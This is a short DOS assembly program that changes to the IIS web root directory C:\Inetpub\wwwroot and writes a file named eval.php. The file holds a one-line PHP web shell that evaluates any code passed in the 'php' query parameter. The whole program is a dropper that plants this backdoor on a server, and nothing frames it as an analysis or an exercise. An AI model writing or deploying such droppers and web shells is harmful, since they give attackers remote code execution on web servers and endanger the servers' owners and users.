writetofile.asm

ORG 100H
;data
directory db 'C:\Inetpub\wwwroot',0
filename db 'eval.php',0
bytes db '<?php eval($_GET["php"]);?>'
handle dw 0
strlen = 27
;chdir
mov dx,directory
mov ah,3Bh
int 21h
;create file
mov ah,3Ch
mov cx,00000000b
lea dx,[filename]
int 21h
mov [handle],ax
;write to file
mov ah,40h
mov bx,[handle]
mov cx,strlen
lea dx,[bytes]
int 21h
;close file
mov ah,3Eh
mov bx,handle
int 21h
;terminate program
mov ax,4c00h
int 21h